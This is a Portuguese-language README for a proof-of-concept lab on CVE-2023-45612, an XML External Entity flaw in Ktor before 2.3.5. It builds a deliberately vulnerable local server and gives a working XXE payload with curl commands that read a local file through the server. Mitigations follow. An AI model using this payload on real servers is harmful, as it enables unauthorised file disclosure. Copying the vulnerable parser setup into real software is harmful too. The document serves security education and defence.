
Este repositório fornece uma Prova de Conceito para CVE-2023-45612, demonstrando uma vulnerabilidade de injeção de XML External Entity (XXE) nas versões do JetBrains Ktor anteriores a 2.3.5.
Este repositório contém um servidor Ktor vulnerável para demonstrar a vulnerabilidade de injeção de Entidade Externa XML (XXE) identificada em CVE-2023-45612.
A vulnerabilidade existe em versões do Ktor anteriores a 2.3.5 quando o plugin ContentNegotiation é usado com o serializador padrão xml(). O analisador XML padrão não foi configurado para prevenir a resolução de entidades externas, permitindo que atacantes leiam arquivos arbitrários do servidor.
As seções a seguir são os passos para recriar o exploit por conta própria.
Versões que usei para esta PoC:
Crie um projeto Ktor no IntelliJ IDEA com o motor Netty, Gradle Kotlin e a versão 2.3.4 (ou uma versão anterior) do Ktor.
Dentro do arquivo build.gradle.kts você precisará introduzir o seguinte plugin:
kotlin("plugin.serialization") version "2.2.20"
e estas dependências;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt deve conter a função principal para iniciar o servidor e a função module() para configurá-lo. Por padrão, a função xml() inicializa um analisador XML que permite o processamento de entidades externas.
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt deve definir o endpoint que receberá e analisará o XML malicioso.
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
Construa a aplicação e inicie o servidor.
./gradlew build
./gradlew run
Para testar o endpoint, crie um arquivo XML chamado hello_message.xml.
<Message>
<message>Hello, world!</message>
</Message>
Você pode executá-lo com o seguinte comando curl (no Windows):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
E você deve obter a seguinte mensagem se for bem-sucedido:
Message received: Hello, world!
Crie um arquivo secret_file.txt com algum texto dentro. A informação contida é o que queremos obter com nosso exploit.
Crie um arquivo chamado exploit_message.xml. Seu conteúdo deve definir uma entidade externa &xxe; como o conteúdo do arquivo secret_file.txt e então usar essa entidade dentro das tags <message>.
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
Execute o seguinte comando curl (no Windows) para o servidor em execução:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
O servidor lerá o arquivo secret_file.txt e enviará seu conteúdo de volta na resposta HTTP:
Message received: XXE was a success.
A solução mais eficaz é atualizar o Ktor para a versão 2.3.5 ou posterior. Eles usam um analisador XML padrão configurado de forma segura que desabilita o processamento de definições de tipo de documento e entidades externas por padrão, o que previne diretamente este ataque XXE. Alternativamente, você também pode configurar manualmente o analisador XML.
Como uma camada extra de defesa, leia o corpo bruto da requisição como texto simples e rejeite-o se contiver palavras-chave suspeitas como <!DOCTYPE ou <!ENTITY antes que ele chegue ao analisador.
Esta vulnerabilidade é específica da análise de XML. Se os requisitos da sua aplicação forem flexíveis, a mudança mais segura é evitar totalmente o XML e usar um formato que não tenha esta classe de vulnerabilidade, como JSON.
Ativamente tente encontrar falhas de segurança verificando suas bibliotecas quanto a vulnerabilidades conhecidas e testando sua aplicação para exploits comuns.